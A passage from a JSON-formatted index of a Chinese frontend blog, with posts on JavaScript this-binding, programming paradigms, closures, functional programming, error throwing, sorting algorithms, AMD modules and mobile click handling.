我们把foo的this绑定到了obj.无论之后如何调用函数bar,他总会手动在obj上调用foo。这种绑定是一种显示的强制绑定,所以称为硬绑定。 硬绑定的典型常见就是创建一个包裹函数,传入所有的参数并返回接收到的所有值:123456789101112function foo(something){ console.log(this.a,something); return this.a + something;}var obj = { a:2};var bar = function(){ return foo.apply(obj ,arguments); };var b = bar(3); //2 3console.log(b); //5 另一种方法是创建一个i可以重复使用的辅助函数:12345678910111213141516function foo(something){ console.log(this.a,something); return this.a + something;}//简单的的辅助绑定函数function bind(fn, obj){ return function(){ return fn.apply(obj , arguments); };}var obj = { a:2};var bar = bind(foo,obj);var b = bar(3); //2 3console.log(b); //5 硬绑定是一种非常常用的模式,所以在ES5中提供了内置方法Function.prototype.bind,用法如下:12345678910function foo(something){ console.log(this.a,something); return this.a + something;}var obj = { a:2};var bar = foo.bind(obj);var b = bar(3); //2 3console.log(b); //5 bind(..)会返回一个硬编码的新函数,它会吧参数设置为this的上下文并调用原始函数。 2.API调用上下文第三方许多函数,以及javascript语言和宿主环境中许多新的内置函数,都提供了可选参数,通常被称为“上下文”($context$),其作用和bind(..)一样,确保你的回调函数使用指定的this.123456789function foo(el){ console.log(el,this.id);}var obj = { id:\"awesome\"};//调用foo(..)时把this绑定要obj[1,2,3].foreach(foo,obj);//1 awesome 2 awesome 3 awesome 这些函数实际上就是通过call(..)或者apply(..)实现了显示绑定,这样可以少一些代码 new绑定 创建(或者说构造)一个全新的对象 这个新对象会被执行[[原型]]连接 这个新对象会绑定到函数调用的this. 如果函数没有返回其他对象,那么new 表达式中的函数调用会自动返回这个新对象。 12345function foo(a){ this.a = a;}var bar = new foo(2)console.log(bar.a); // 2 使用new时,会构造一个新对象并把它绑定到foo(..)调用中的this上。new 是最后一种可以影响函数调用时this绑定行为的方法,我们称之为new绑定。","link":"/2016/02/22/this绑定规则/"},{"title":"主流编程范式","text":"编程范式(Programming Paradigm)是某种编程语言的典型编程风格或者说是编程方式。 简单来说,编程范式是程序员看待程序应该具有的观点。 编程范式是编程语言的一种分类方式,它并不针对某种编程语言。就编程语言而言,一种语言可以适用多种编程范式。 命令式 && 声明式我们可以像下面这样定义它们之间的不同: 命令式编程:命令“机器”如何去做事情(how),这样不管你想要的是什么(what),它都会按照你的命令实现。 声明式编程:告诉“机器”你想要的是什么(what),让机器想出如何去做(how)。 举个简单的例子,假设我们想让一个数组里的数值翻倍。 命令式1234567var numbers = [1,2,3,4,5]var doubled = []for(var i = 0; i < numbers.length; i++) { var newNumber = numbers[i] * 2 doubled.push (newNumber)}console.log (doubled) //=> [2,4,6,8,10]复制代码 声明式12345var numbers = [1,2,3,4,5]var doubled = numbers.map (function (n) { return n * 2})console.log (doubled) //=> [2,4,6,8,10] map函数所做的事情是将直接遍历整个数组的过程归纳抽离出来,让我们专注于描述我们想要的是什么(what)。注意,我们传入map的是一个纯函数;它不具有任何副作用(不会改变外部状态),它只是接收一个数字,返回乘以二后的值。 在一些具有函数式编程特征的语言里,对于list数据类型的操作,还有一些其他常用的声明式的函数方法。例如,求一个list里所有值的和,命令式编程会这样做:12345var numbers = [1,2,3,4,5]for(var i = 0; i < numbers.length; i++) { total += numbers[i]}console.log (total) //=> 15 而在声明式编程方式里,我们使用reduce函数:12345var numbers = [1,2,3,4,5]var total = numbers.reduce (function (sum, n) { return sum + n});console.log (total) //=> 15 reduce函数利用传入的函数把一个list运算成一个值。它以这个函数为参数,数组里的每个元素都要经过它的处理。每一次调用,第一个参数(这里是sum)都是这个函数处理前一个值时返回的结果,而第二个参数(n)就是当前元素。这样下来,每此处理的新元素都会合计到sum中,最终我们得到的是整个数组的和。 同样,reduce函数归纳抽离了我们如何遍历数组和状态管理部分的实现,提供给我们一个通用的方式来把一个list合并成一个值。我们需要做的只是指明我们想要的是什么? 声明式编程为什么让某些人疑惑,不屑,甚至排斥?从声明式编程诞生的那天起,对声明式编程与命令式编程的讨论就没有停止过。作为程序员,我们非常习惯去命令计算机去做某些事情。遍历列表,判断,赋值已经是我们逻辑中最常见的代码。 在很多情况中,命令式编程确实非常直观、简单并且编码运行效率最高,最重要的,维护的人也非常容易理解。加上大多数人并不理解函数的本质,只能把逻辑与数据封装到一个个对象中,以上的种种原因,导致声明式编程一直没有成为主流的编程模式。甚至有人觉得声明式编程是反人类思维模式的编程,只是为了写一些所谓高大上的“玩具”产生的模式。 如果我们花时间去学习声明式的可以归纳抽离的部分,它们能为我们的编程带来巨大的便捷。首先,我可以少写代码,这就是通往成功的捷径。其次,我们可以抽象出非常实用的工具类,对对象或者函数进行深度加工,嵌套,运算,直到得到想要的结果。最后,每当有需求变更时候,大多数情况下,我们无需改写框架(声明分析)代码,只需要修改声明的配置即可完成需求变更。最重要的,它们能让我们站在更高的层面是思考,站在云端思考我们想要的是什么,什么是变化的,什么是不变的,找到变化,配置之,找到不变,封装之。最后你会发现,我们不关心变化,因为变化的通过配置来声明,我们只关心不变,也就是框架,用框架(不变)来处理声明(变化),正如道家的哲学,以不变(框架)应万变(声明)。而不是站在底层,思考事情该如何去做。 (通常来说,核心的架构师编写不变的框架,低P/T编写配置声明,不要以为配置仅仅是json等格式,在函数式编程里,配置往往是函数/类或者任何对象) 面向对象编程与函数式编程面向对象将现实世界的物体抽象成类,每个物体抽象成对象。用继承来维护物体的关系,用封装来描述物体的数据(属性)与行为(方法),通过封装技术,消息机制可以像搭积木的一样快速开发出一个全新的系统。既可以提高编程效率,又增强了代码的可扩展/维护等灵活性,是世界上运用最广泛的编程方法(个人观点:没有之一)。 面向对象语言是命令式编程的一种抽象。抽象包括两方面,数据抽象与过程抽象。在JS中,面向对象编程(也就是我们常说的基于对象,因为JS并不是面向对象的语言)把逻辑与数据封装到函数与原型中,通过函数的原型链拷贝实现继承,而代码的运行逻辑与数据依然封装在函数内,但是做了属性与方法的区分。优秀的面向对象编程显然可以做到声明式编程,也就是根据声明配置生成结果(也就是说,面向对象编程的逻辑是预设的,我们可以根据输入条件,判断走不同的逻辑)。 但是绝大多数的面向对象编程,不会根据声明配置去生成逻辑,逻辑的调用是封装在对象中,而不是动态生成。所以并没有做到真正的声明式,也就是数据与逻辑完全分离。这里所说的动态生成逻辑,是根据声明,自动完成逻辑的生成,这样就完全可以不用编写业务代码,而仅仅靠声明来完成逻辑的实现,而这部分处理,交给框架处理即可。 函数式编程把逻辑完全视为函数的计算。把数据与逻辑封装到函数中,通过对函数的计算,加工,处理,来生成新的函数,最后拼装成一个个功能独立的函数。在运用这些函数,完成复杂逻辑的实现。 与现象对象不同的是,我们把数据和逻辑封装到函数中而不是类与对象中。每个函数完全独立,好的函数式设计,每个函数都是一个纯函数(purefunction,即输入固定参数,即可得到相同输入的函数)。优点是: 面向对象中的任何一个原型方法(prototype)都会获得this的数据,而且可以轻易获取闭包的数据。这样的非纯函数让我们非常难以提炼与抽象。 纯函数由于输入与输出固定,所以变得非常容易单测。好的函数式中的函数设计,不会依赖于任何其他函数或者声明配置,只需要传递参数,既可以进行测试。而在面向对象语言中,我们往往需要启动整个工程,或者说所有依赖的类全部要加载,才能开始测试。 对逻辑做抽象与提取,让我们避免在函数内做判断与循环,我们只需要把具体处理封装到函数中,而程序运行过程中的走向、判断与循环通常交给底层框架来处理。这让我们完全有能力动态生成逻辑。比如大名鼎鼎的d3和rx,逻辑与逻辑处理的代码完全分离,代码可读性非常高。 既然本文介绍的主要是函数式编程,所以主观评价了函数式的优点。当然面向对象的编程模式优点更加突出,各位客官已经非常熟悉封装、继承、多态给我们带来的优点,代码可读性与可维护性在所有模式中名列前茅,面向对象编程位列神坛已久,在此不必多言。","link":"/2018/10/26/主流编程范式/"},{"title":"关于闭包的一些题目(一)","text":"今天看见一道自认为比较有难度比较绕的闭包题目,倒腾了好一会才弄出答案来,这题目是别人博客里面写的,本着“自己懂还不算真的懂,给别人讲懂了才算真的懂的原则”,故我在这篇博客里面来说说这道题目 这是本人第一次描述这些题目,如果有用词不当,请提出^_^ 原作者的链接我会赋到最下面,如有冒犯请通知我,我会删掉的。 题目如下123456789101112function fun(n,o) { console.log(o) return { fun:function(m){ return fun(m,n); } };}var a = fun(0); a.fun(1); a.fun(2); a.fun(3);var b = fun(0).fun(1).fun(2).fun(3);var c = fun(0).fun(1); c.fun(2); c.fun(3);//问:三行a,b,c的输出分别是什么? 是不是有点懵逼?如果是,请先冷静一下哈,太懵逼是没办法解决问题的(虽然我看到第一眼就懵了,但是你可以慢慢来,还是可以梳理好的)。如果不是那你一定在闭包上面有深深的理解。 第一个 fun 函数,是标准具名函数声明,返回了一个对象字面量表达式,也就是一个 object 。第二个 fun 是一个属性,是匿名函数表达式。第三个 fun 是调用的,也就是第一个fun,有点递归的意思。这里或许你会问为什么不等于第二个 fun ?其实我们可以将以下代码在浏览器console测试一下假如是第三个fun是同第二个一样:123456var o={ fn:function (){ console.log(fn); }};o.fn();//ERROR报错 我们发现它最终会报错,显示fn is not defined(...)下面再看另一个1234var fn = function (){ console.log(fn);};fn();//function (){console.log(fn);};正确 这次就没有报错了,var 在函数外部创建了一个fn,函数内部找不到fn则可以向上寻找,但是第一种是在函数内部创建的,没办法找到。 所以我们可以得知,第三个函数是第一个的这个fun所以我们回顾一下原来的函数 1.第一行1var a = fun(0); a.fun(1); a.fun(2); a.fun(3); 首先fun(0),即n = 0传入了fun(n,o),此时o没有值,则为undefined :故第一个输出为 undefined接着的return返回了一个对象字面量表达式,也就是类似下面12345var a = { fun:function(m){ return fun(m,n); }} 接着的 a.fun(1) 参数 m = 1 , n的值我们之前在fun(0)里面知道了——是 0。则下面的fun(m,n)则是 fun(1,0) ,再倒回去看函数第一个fun(最外面的那个)m->n , n->o,所以打印出来的o也就是最后n的值,为 0 那么 a.fun(2)呢?其实也是差不多的,m = 2的时候,n还是原来的 n = 0,你问为什么?因为在var a = fun(0)的时候已经确定了呢,所以最终输出 0(第三个fun的参数n将值赋给了第一个fun的o) 所以这么看来的话,第一行的第三个是不是也是很好解决呢?和前面两个一样也是等于0 所以第一行的答案是: undefined 0 0 0 2.第二行1var b = fun(0).fun(1).fun(2).fun(3); 首先第一个值是undefined是同刚刚第一行的一样的。 那么接下来看又引用了 fun这个方法,也就是m = 1,n是原来的0,也就是最后o = 0,那么第二个输出的数字就为 0 此时还没完呢,接着又马上来了个fun(2),此时的fun其实又变成了最外层的那个fun,那么m = 2,n = 1,对应fun(n,o)就是 n=2,o=1.此刻你应该明白了,下一个输出的数是 1 最后一个是fun(3),这个又再次变成了fun里面的那个方法fun里面的函数,由于上次 n=2 m=3 => fun(3,2),最后一个输出 2 所以第二行的答案是: undefined 0 1 2 3.第三行1var c = fun(0).fun(1); c.fun(2); c.fun(3); 由于前面两个在第二行里面是类似的,这边就直接跳过了,输出undefined 和0 这时候,c.fun(2) => fun(m,n) => m = 2, n在上一个已经等于1, 也就是在fun(n,o)里面n =2,o = 1;所以此次输出 1 第三个 c.fun(3) => fun(m,n) => m=3,n=1。所以最后在函数 fun(n,o)里n=3,o = 1,所以还是输出1 所以第三行的答案是: undefined 0 1 1 原作者博客连接 IT程序狮","link":"/2016/03/27/关于闭包的一些题目(一)/"},{"title":"函数式编程","text":"最近通过一些机缘巧合,有接触到一系列的函数式编程与高阶函数一类的编程。花了点时间整理 编程范式 命令式 声明式 面向对象 函数式 函数式编程函数式编程 (通常简称为 FP)是指通过复合纯函数来构建软件的过程。 它避免了共享的状态(share state)、易变的数据(mutable data)、以及副作用(side-effects) 函数式编程是声明式而不是命令式,并且应用程序状态通过纯函数流转。对比面向对象编程,后者的应用程序状态通常是共享并共用于对象方法。 这是一种编程范式 如果你想要了解函数式编程在实际中的意义,你需要从理解那些核心概念开始: 纯函数(Pure functions) 函数复合(Function composition) 避免共享状态(Avoid shared state) 避免改变状态(Avoid mutating state) 避免副作用(Avoid side effects) 纯函数:纯函数有一下的特征 同样的输入,返回同样的结果 没有副作用 不依赖外部状态 函数复合 是结合两个或多个函数,从而产生一个新函数或进行某些计算的过程。 例如,复合操作 f·g(点号意思是对两者执行复合运算)在 JavaScript 中相当于执行 f(g(x)) 共享状态 共享状态 的意思是任意变量、对象或者内存空间存在于共享作用域下,或者作为对象的属性在各个作用域之间被传递。共享作用域包括全局作用域和闭包作用域。 通常,在面向对象编程中,对象以添加属性到其他对象上的方式在作用域之间共享。 不可变性 不可变(immutable) 对象是指一个对象不会在它创建之后被改变。对应地,一个可变的(mutable)对象是指任何在创建之后可以被改变的对象。 副作用 副作用是指除了函数返回值以外,任何在函数调用之外观察到的应用程序状态改变。 副作用包括: 改变了任何外部变量或对象属性 写日志 在屏幕输出 写文件 发网络请求 触发任何外部进程 调用另一个有副作用的函数 在函数式编程中,副作用被尽可能避免,这使得程序的作用更容易理解,也使得程序更容易被测试。 你现在需要做的是要从你的软件中隔离副作用行为。如果你让副作用与你的程序逻辑分离,你的软件将会变得更易于扩展、重构、调试、测试和维护。 这也是为什么大部分前端框架鼓励我们分开管理状态和组件渲染,采用松耦合的模型。 区别函数式编程倾向于复用一组通用的函数功能来处理数据。 面向对象编程倾向于把方法和数据集中到对象上。那些被集中的方法只能用来操作设计好的数据类型,通常是那些包含在特定对象实例上的数据。 命令式 && 声明式 函数式编程是一个声明式范式,意思是说程序逻辑不需要通过明确的描述控制流程来表达 命令式 程序花费大量代码描述所其外结果的步骤——控制流:如何做 声明式 程序抽象了控制流程的过程,花费大量代码描述数据流:即做什么 举个例子,下面是一个用 命令式 方式实现的 mapping 过程,接收一个数值数组,并返回一个新的数组,新数组将原数组的每个值乘以 2: 12345678const doubleMap = numbers => { const doubled = []; for (let i = 0; i < numbers.length; i++) { doubled.push(numbers[i] * 2); } return doubled;};console.log(doubleMap([2, 3, 4])); // [4, 6, 8] 而实现同样功能的 声明式 mapping 用函数 Array.prototype.map() 将控制流抽象了,从而我们可以表达更清晰的数据流: 12const doubleMap = numbers => numbers.map(n => n * 2);console.log(doubleMap([2, 3, 4])); // [4, 6, 8] 命令式 代码中频繁使用语句。语句是指一小段代码,它用来完成某个行为。通用的语句例子包括 for、if、switch、throw,等等…… 声明式 代码更多依赖表达式。表达式是指一小段代码,它用来计算某个值。表达式通常是某些函数调用的复合、一些值和操作符,用来计算出结果值。 以下都是表达式:1232 * 2doubleMap([2, 3, 4])Math.max(4, 3, 2) 通常在代码里,你会看到一个表达式被赋给某个变量,或者作为函数返回值,或者作为参数传给一个函数。在被赋值、返回或传递之前,表达式首先被计算,之后它的结果值被使用。 结论函数式编程偏好: 使用纯函数而不是使用共享状态和副作用 让可变数据成为不可变的 用函数复合替代命令控制流 使用高阶函数来操作许多数据类型,创建通用、可复用功能取代只是操作集中的数据的方法。 使用声明式而不是命令式代码(关注做什么,而不是如何做) 使用表达式替代语句 使用容器与高阶函数替代多态","link":"/2018/12/26/函数式编程/"},{"title":"圆角矩形的实现(非css3)","text":"额…..我知道现在谈这个东西好像的确是挺旧的,而且现在css3也出了border-radius,圆角简直不能再6。之前面试被问过好几次,这个问题总是打得不是很完美,那个时候才开始重视这个东西。 其实对于一些对兼容要求比较高的页面,css3直接写这个方案还是不可行滴,比如ie8就不可行赶紧甩出一条兼容情况链接 代码解决废话不多说,先看jsfiddle的demo 原理是这样的: 一个正常的div是一个长方形的形态,那么为了看上去有圆角,可以在长方形的上方和下方叠加一些 细长线条,但是其宽度比长方形的宽度稍微递减那么一些些~连续叠加3-4个,递减2px左右的宽度,同时加上左右边距,最后一个充当矩形的上方边框,所以需要和border用同一个背景色。当然下方也一样。下面这张图就是主体思路,大家可以看看 发现用这种方法还可以弄出很多丑萌丑萌的圆角矩形,给你们看几张图片是不是很丑萌 图片解决123.top{backgroup:上边带弧度的一小部分}.bottom{backgroup:下边带弧度的一小部分}.content{border-left:1px solid 颜色;border-right:1px solid 颜色} 123<p class=\"top\"></p><div class=\"content\"></div><p class=\"bottom\"></p> 图片的话需要非常注意自适应高度问题,所以不是第一个推荐的。","link":"/2016/05/13/圆角矩形的实现(非css3)/"},{"title":"抛出自定义错误","text":"什么?你问我为什么要抛出错误?程序员的天职难道不是干掉错误吗?是的,我当初的想法也和你的一样,但是阅读完本文章,相信你会十分愿意去抛出一个错误。 错误的本质当你在遇到了一些变量在不同浏览器的自定义值不一样的时候,或者是给一个函数传递了不正确的值,或者是运算的时候碰到一个非数字,就会导致一些错误,但是,如果这个错误,没有被返回给你的话,调试是非常困难的。如果所有的失败都是悄无声息的话,那么程序员就要爆炸啦boom! 在以前,js的错误总是特别稀少而且不精确,但是现在也会稍微好很多了。 在js中抛出错误我们可以使用throw操作符,将提供的一个对象作为错误抛出。任何类型的对象都可以作为错误抛出,Error对象是最常见的。1throw new Error(message); 如果没有通过try-catch语句来捕获的话,浏览器通常直接显示该消息message在console控制台 有些同学可能会这样写12//不好的写法throw \"message\" 在Firefox、Opera和Chorme里面都将显示一条throw "message"这样的错误,这对我们调试错误一点帮助也木有。 当然,如果你开心的话,可以用throw抛出任何类型的数据,没有任何规则约束不能是特定的数据类型 12345throw {name : 'dashabi'};throw true;throw 123456;throw new Date(); 但是….如果没有try-catch语句捕获,抛出任何值都将引发一个错误。 抛出一个好错误抛出自己的错误,可以使用确切的文本提供浏览器显示。除了行列number,还可以包含任何你需要的有助于调试问题的信息。我推荐总是在错误消息中包含函数名称,以及函数失败的原因。123function getDiv(element){ return element.getElementsByTagName(\"div\");} 这个函数想获取所有div的元素,但是,传递给函数的DOM元素为null的值是很有可能是的,如果传给它一个null,你就会看到object expected这种含糊的错误,然后又得去看执行栈,再看实际定位到源文件中,通过抛出一个错误,调试会简单些 1234567function getDiv(element){ if(element && element.getElementsByTagName){ return element.getElementsByTagName(\"div\"); }else{ throw new Error(\"getDiv():Argument must be a DOM elemnt\"); }} 酱紫,你就能在浏览器控制台输出错误的时候,可以马上着手去调试,6666 何时抛出错误 一旦修复了一个很难调试的错误,尝试增加一两个自定义错误。当再次发生错误的湿乎乎,有助于更容易的解决问题。 如果正在写代码,思考下:“我希望某些事情最好不要发生,如果发生,我的代码就惨了”。这事,如果那件事情发生的话,就抛出一个错误 如果再编写给别人的代码,思考一下别人的使用方式,在一些地方抛出错误。 try-catchjs提供了try-catch语句,能在浏览器处理抛出的错误之前来解析它,可以把能引发错误的代码放在try块中,处理错误的代码放在catch中。12345try{ somethingThatMihtCauseAnError();}catch(ex){ handleError(ex);} 如果try中发生了一个错误,程序立刻停止执行,然后跳到catch块,并传入一个错误对象。检查该对象可以确定中恢复的最佳动作。 也可以在最后加一个finally块。finally块中的代码不管是否有错误发生,最后都会被执行1234567try{ somethingThatMihtCauseAnError();}catch(ex){ handleError(ex);}finally{ dosomething();} 这个地方有点微妙,如果try中包含了一个return语句,实际上它必须等到finally块中的代码执行后才能返回,所以这个finally不常用。","link":"/2016/10/26/抛出自定义错误/"},{"title":"排序算法","text":"最近关注前端性能一方面比较多,发现算法的性能改变也是其中一个很大的改善点,特别在数据量很大的情况下,在这里总结了几个前端经常都用得上的算法。 冒泡排序思想: 比较相邻的两个数,如果后面的比前面的小,把小的放在前面。一轮过后,会有这一轮最小(大)的值去到应到的位置。 时间复杂度: O(n2) code:优化点:如果数组已经是有序了,就没必要再比较了1234567891011121314151617181920212223var arr=[5,3,2,4,1,0];function bubbleSort(arr){ var flag = false; //定义一个变量为false,未交换位置; for(var i=0;i<arr.length-1;i++){ for(var j=0;j<arr.length-1;j++){ if(arr[j+1]<arr[j]){ temp = arr[j+1]; arr[j+1] = arr[j]; arr[j] = temp; flag = true; //true,已交换位置 } } if(flag){ flag = false; //如果交换了位置,将flag重新设为false }else{ break; //如果未交换,则跳出循环 } } return arr;}console.log(bubbleSort(arr)); //0,1,2,3,4,5 设置一个中断标志位,在条件测试中如果发生了交换就将中断位屏蔽,然后在外层循环中检查中断位,如果中断位没有被屏蔽,将结束循环。每次开始内层循环之前重置中断位。这样就可以在已经是正序排列时不继续进行循环,达到最优的复杂度. 选择排序思想: 先从原始数组中选择一个最小的数据,和第一个位置1的数据交换。再从剩下的n-1个数据中选择次小的数据,将其和第二个位置的数据交换。不断重复,知道最后两个数据完成交换。可以很清楚的发现,选择排序是固定位置,找元素。 时间复杂度: O(n2) code1234567891011121314151617181920212223var arr=[5,3,2,4,1,0];function selectionSort(array){ var min,temp; for(var i=0; i<array.length-1; i++){ min=i; for(var j=i+1; j<array.length; j++){ if(array[j]<array[min]){ min=j; } } swap(array,min,i); } return array;}//选择排序function swap(array,i,j){ var temp =array[i]; array[i]=array[j]; array[j]=temp;}//两个数字交换 console.log(selectionSort(arr)); //0,1,2,3,4,5 快速排序思想: 在数据集之中,选择一个元素作为”基准”(pivot)。 所有小于”基准”的元素,都移到”基准”的左边;所有大于”基准”的元素,都移到”基准”的右边。 对”基准”左边和右边的两个子集,不断重复第一步和第二步,直到所有子集只剩下一个元素为止。 eg:选6为基准 1234567891011121314-------------------------------------------7 5 9 6 18 2 4 12-------------------------------------------//将每个元素与基准比较,形成两部分,大于基准与小于基准-------------------------------------------5 2 4 | 6 | 7 9 18 12-------------------------------------------//对两个子集不断重复第一步和第二步,直到所有子集只剩下一个元素为止。-------------------------------------------| 2 | 5 4 | 6 | 7 | 9 | 18 12--------------------------------------------------------------------------------------2 4 5 6 7 9 12 18------------------------------------------- 时间复杂度 :平均O(nlgn),最坏O(n2)code:12345678910111213141516var quickSort = function(arr) { if (arr.length <= 1) { return arr; } var pivotIndex = Math.floor(arr.length / 2); var pivot = arr.splice(pivotIndex, 1)[0]; var left = []; var right = []; for (var i = 0; i < arr.length; i++){ if (arr[i] < pivot) { left.push(arr[i]); } else { right.push(arr[i]); } } return quickSort(left).concat([pivot], quickSort(right));};console.log(quickSort(arr)); 归并排序思想: 把一个数组分为两个数组,左边排好序,右边排好序,然后合并到一起排序 归并排序是分治法的典型实例,指的是将两个已经排序的序列合并成一个序列的操作 **时间复杂度: O(nlogn) code:12345678910111213141516171819202122232425262728293031323334var arr=[-11,17,12,19,0,-222]; function mergeSort(arr,s,e){ if(s>e){ //起始位置大于终点位置,返回空数组 return []; }else if(s==e){ return [arr[s]]; //起始位置等于终点位置,说明数组里只有一个数字,返回只含一个数字的数组 } var mIndex = Math.floor((s+e)/2); //中间位置的Index var arrL = mergeSort(arr,s,mIndex); //将左边的数组排序 var arrR = mergeSort(arr,mIndex+1,e); //将右边的数组排序 var resultArr = []; //结果数组 while(arrL.length>0 || arrR.length>0){ //当左右两个数组都不为空时 if(arrL[0]<arrR[0]){ resultArr.push(arrL.shift()); }else{ resultArr.push(arrR.shift()); } if(arrL.length==0){ //当左边的数组为空时 resultArr = resultArr.concat(arrR); break; }else if(arrR.length==0){ resultArr = resultArr.concat(arrL); break; } } return resultArr; } console.log(mergeSort(arr,0,arr.length-1)) 参考资料 js算法之最常用的排序","link":"/2016/08/17/排序算法/"},{"title":"模块化(一):模块化的简单了解","text":"看别人的技术博客,总是免不了会看到一些模块化编程的实例。所以这个词相信已经不新鲜了,但是之前只停留在了表面上,只是知道,并没有深刻的去了解,觉得不过是so so,知直到后面学了require.js才重新去了解了这个AMD. 那么,首先我们得知道,为什么需要模块化编程? JavaScript本身不是一种模块化语言,以前js的代码还比较简单,而现在越来越多的JavaScript库和框架的出现,webApp的流行以及Node.js的发展,如果我们还不对自己的JS代码进行一些模块化的组织的话,开发过程会越来越困难,运行性能也会越来越低 本宝宝之前的一个项目 123456789101112131415<title>城市环境监测系统</title>......//省略css<script src=\"js/jquery-1.10.2.min.js\" type=\"text/javascript\"></script><script src=\"bootstrap/js/bootstrap.min.js\" type=\"text/javascript\" charset=\"utf-8\"></script><!-- 用了来显示最上角的数据文件 --><script src=\"API/WSNRTConnect.js\" type=\"text/javascript\" charset=\"utf-8\"></script><!-- 绘图 --><script src=\"highstock/highstock.js\" type=\"text/javascript\" charset=\"utf-8\"></script><script src=\"highstock/modules/exporting.js\" type=\"text/javascript\" charset=\"utf-8\"></script><!-- 获取历史数据 --><script src=\"API/WSNHistory.js\" type=\"text/javascript\" charset=\"utf-8\"></script><!-- 调取动态最上角和下拉框数据 --><script src=\"API/history-1.0.min.js\" type=\"text/javascript\" charset=\"utf-8\"></script> <!-- 存放用户密钥之类的信息 --><script src=\"js/config.js\" type=\"text/javascript\" charset=\"gb2312\"></script> 是不是很可怕,重点是这可能还不是最多文件的 有了同样的模块化编写代码的方式,就可以在开发过程中根据功能引用别人的代码。 FOR EXAMPLE123456function max(a, b) { return a>b?a:b;}function divide(a, b) { return a / b;} 这两个函数就可以组合成一个简单的模块,模块里面有一些简单的功能。但是,根据我们的开发经验,这个好像没特别的啊?函数还存在全局中。。。当然现在这样的写法的确看不出模块特点。所以我们应该提供一个命名空间,避免全局。12345678var math = { max: function(a, b) { return a>b?a:b; }, divide: function(a, b) { return a / b; }} 这个时候就有点feel了吧,但是又根据我们的经验,这个代码是暴露的,在开发过程中是很有可能被外部修改滴。so,这个时候就应该去将其闭包。123456789101112var math = (function() { var _hi = 0; return { max: function(a, b) { return a>b?a:b; }, divide: function(a, b) { return a / b; } };})(); 这段代码,运行可知,_hi变量并不能被外部访问,而且外部只能访问不能修改 max与divide方法。闭包了解请狠戳。 为模块添加方法12345var math = (function(module) { module.subtract = function(a, b) { return a - b; }})(math); 模块在全局变量中的名称可能会与其他的模块产生冲突,例如$符号,虽然使用方便,但多个模块可能都会用它作为自己的简写,例如jQuery我们可以在模块的组织代码中用$作为形参,将模块的全名变量作为参数传入,可起到防冲突的效果。123var math = (function($) { // 这里的$指的就是Math})(math); 比较流行的js模块化规范 CommonJS AMD 参考文献1.浅谈 JavaScript 模块化编程2.阮一峰博客","link":"/2016/01/18/模块化(一)/"},{"title":"模块化(二):模块化的规范——AMD","text":"上次我们说到,现阶段比较流行的js模块化是 CommonJS和 AMD 目前前端使用的较多的是AMD,但是在说AMD之前,先要了解到CommonJS CommonJS其实一开始浏览器端没有模块化也是没有什么很大的关系的,因为网页程序的复杂性有限;但是后台的小伙伴说,在服务器端,必须要有模块,与操作系统和其他应用程序互动。是为了弥补JavaScript标准库过少的缺点而产生的,JS没有模块机制,CommonJS就帮助JS实现模块的功能。eg:现在很热门的Node.js就是CommonJS规范的一个实现。但是其实CommonJS也有一个很大的弊端:浏览器除了本地缓存的资源,所有的资源都必须从服务器下载下来,这个加载的时间也需要根据当时的网速而定,而commonJS的加载是同步阻塞的,必须要加载完上一个才能继续下一个,就导致,如果中间有个文件是很大的,那么后面的就必须要停止,等待前面的加载完成,才能继续。 AMDAMD 全称 The Asynchronous Module Definition,AMD规范也就是“异步模块定义规范”,是 RequireJS在推广过程中对模块定义的规范化产出。(AMD)制定了定义模块的规则,这样模块和模块的依赖可以被异步加载。这和浏览器的异步加载模块的环境刚好适应(浏览器同步加载模块会导致性能、可用性、调试和跨域访问等问题)。 规范只定义了一个函数 “define”,它是全局变量。函数的描述为:$$ define(id?, dependencies?, factory); $$ id (名字)id,是个字符串。它指的是定义中模块的名字,这个参数是可选的。如果没有提供该参数,模块的名字应该默认为模块加载器请求的指定脚本的名字。如果提供了该参数,模块名必须是“顶级”的和绝对的(不允许相对名字)。 dependencies (依赖)dependencies,是个定义中模块所依赖模块的数组。依赖模块必须根据模块的工厂方法优先级执行,并且执行的结果应该按照依赖数组中的位置顺序以参数的形式传入(定义中模块的)工厂方法中。依赖的模块名如果是相对的,应该解析为相对定义中的模块。换句话来说,相对名解析为相对于模块的名字,并非相对于寻找该模块的名字的路径。 本规范定义了三种特殊的依赖关键字。如果”require”,”exports”, 或 “module”出现在依赖列表中,参数应该按照CommonJS模块规范自由变量去解析。 依赖参数是可选的,如果忽略此参数,它应该默认为[“require”, “exports”, “module”]。然而,如果工厂方法的形参个数小于3,加载器会选择以函数指定的参数个数调用工厂方法。 factory(工厂方法)factory,为模块初始化要执行的函数或对象。如果为函数,它应该只被执行一次。如果是对象,此对象应该为模块的输出值。如果工厂方法返回一个值(对象,函数,或任意强制类型转换为true的值),应该为设置为模块的输出值。 用AMD规范实现一个简单的模块可以这样创建一个名为”alpha”的模块,使用了require,exports,和名为”beta”的模块:1234567define(\"alpha\", [\"require\", \"exports\", \"beta\"], function (require, exports, beta) { exports.verb = function() { return beta.verb(); //Or: return require(\"beta\").verb(); } }); 一个返回对象的匿名模块:1234567define([\"alpha\"], function (alpha) { return { verb: function(){ return alpha.verb() + 2; } };}); 一个没有依赖性的模块可以直接定义对象:12345define({ add: function(x, y){ return x + y; }}); 一个使用了简单CommonJS转换的模块定义:12345define(function (require, exports, module) { var a = require('a'), b = require('b'); exports.action = function () {};}); 全局变量 AMD规范保留全局变量”define”以用来实现本规范。包额外信息异步定义编程接口是为将来的CommonJS API保留的。模块加载器不应在此函数添加额外的方法或属性。 保留全局变量”require”被模块加载器使用。模块加载器可以在合适的情况下自由地使用该全局变量。它可以使用这个变量或添加任何属性以完成模块加载器的特定功能。它同样也可以选择完全不使用”require”。 参考资料 1.AMD in github 2.阮一峰:AMD规范","link":"/2016/01/23/模块化(二)/"},{"title":"移动端优化的小事情(一)","text":"写这篇文章并没有什么特别的原因,只是有一天突然发现自己对移动端涉猎并不算多,看着越来越多的网页流量来源自移动端,我开始方了,觉得有些事情,也该总结总结 在移动端,主要的来说,优化重点可以放在两个方面 交互优化 性能优化那我今天先归纳一下交互方面的优化 点击的优化 我们知道在同是一个点击事件,在移动端的和在pc端给用户的体验是不一样的 点击事件上 移动端的的click里面有300ms的延迟,因为我们需要区分但双击,来判断是否你只是想放大页面(这是移动端的特性) 那么我们该如何优化? 使用touch事件 touch事件可以使手机端更好的去响应一个触摸事件,这个是大家都可能知道的一个优化方法 引用移动框架引入zepto,用tap事件来代替cilck 但是我们首先要知道,tap不是原生事件,tap包括了三个:touchstart/touchmove/touchend 那我们的判断基本条件是什么: 1.触摸到离开事件间隔短 2.从起点到终点事件间隔小 